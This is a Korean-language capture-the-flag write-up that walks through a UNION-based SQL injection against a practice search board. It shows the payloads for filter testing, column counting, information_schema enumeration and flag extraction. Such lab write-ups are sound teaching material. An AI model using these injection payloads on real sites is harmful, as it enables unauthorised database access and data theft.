http://ctf.segfaulthub.com:9999/sqli_1/search.php 해당 사이트는 게시판 서비스를 제공한다.
Admin
을 입력하니 Adminer
가 출력된다. 추측건대 검색 기능이 like
query를 사용하는 것 같다.
%
특수문자가 필터링 되는지 확인하기 위해 Admin%
문자열로 검색한다.
검색 결과 %
문자가 출력되지 않는 것으로 보아 해당 문자를 필터링하지 않는다.
'
과 #
도 필터링 되는지 확인하기 위해 admin%' #
문자열로 검색한다.
검색 결과 필터링이 되지 않는다. 따라서 해당 게시판은 SQL Injection
취약점이 존재하는 것으로 추정된다.
admin%' order by 1 #
odrer by 쿼리를 사용해 현재 테이블이 몇 개 컬럼을 사용하는지 파악한다.
숫자를 계속 증가시켜보니 5에서 어떠한 데이터도 출력되지 않는다. 이는 해당 게시판이 4개 컬럼으로 구성되어 있음을 의미한다.
admin%' union select '1', '2', '3', '4
union 을 사용해 해당 테이블이 4개 컬럼을 사용하는지 확인하겠다. 확인 결과 4개 컬럼을 사용한다.
admin%' union select '1', '2', database(), '4
’3’ 대신 database()
함수를 사용해 해당 테이블이 사용하는 데이터베이스 이름을 확인하겠다.
'3'
이 출력됬던 부분에 database 이름이 출력되었다. 해당 테이블이 사용하는 데이터베이스 이름은 sqli_1
이다. 이제 데이터베이스 이름을 알았으니 테이블 이름을 찾아야한다.
information_schema
은 MySQL 데이터베이스 시스템에서 사용되는 시스템 데이터베이스 중 하나로이 데이터베이스에는 MySQL 서버에서 사용 가능한 모든 데이터베이스, 테이블, 뷰 등에 대한 정보가 포함되어 있다. 예를 들어, information_schema.columns
스키마는 데이터베이스 내의 모든 테이블의 열(column) 정보를 포함하고 있으며, information_schema.tables
스키마는 데이터베이스 내의 모든 테이블의 정보를 제공한다. 따라서 information_schema
로 sql_i
데이터베이스의 모든 테이블과 컬럼을 확인하겠다.
information_schema.tables
스키마로 테이블 이름을 찾기위해 admin%' union select '1', table_name, '3', '4' from information_schema.tables where table_schema='sqli_1' #
쿼리로 인젝션을 시도하겠다.
시도 결과, flag_table
과 user_info
테이블이 출력되었다. flag를 찾아야 하므로 flag_table
이 사용하는 컬럼을 확인하겠다.
information_schema.columns
스키마로 flag_table
컬럼을 찾기위해 admin%' union select '1', column_name, '3', '4' from information_schema.columns where table_name='flag_table' #
쿼리로 인젝션을 시도하겠다.
시도 결과, flag
컬럼이 출력되었다. 사용하는 테이블과 컬럼을 알았으니 데이터를 추출하겠다.
admin%' union select '1', flag, '3', '4' from flag_table #
쿼리로 인젝션을 시도한다.
시도 결과 flag 값을 획득하였다. flag를 제출하니 아래 그림과 같이 정답임을 확인할 수 있다.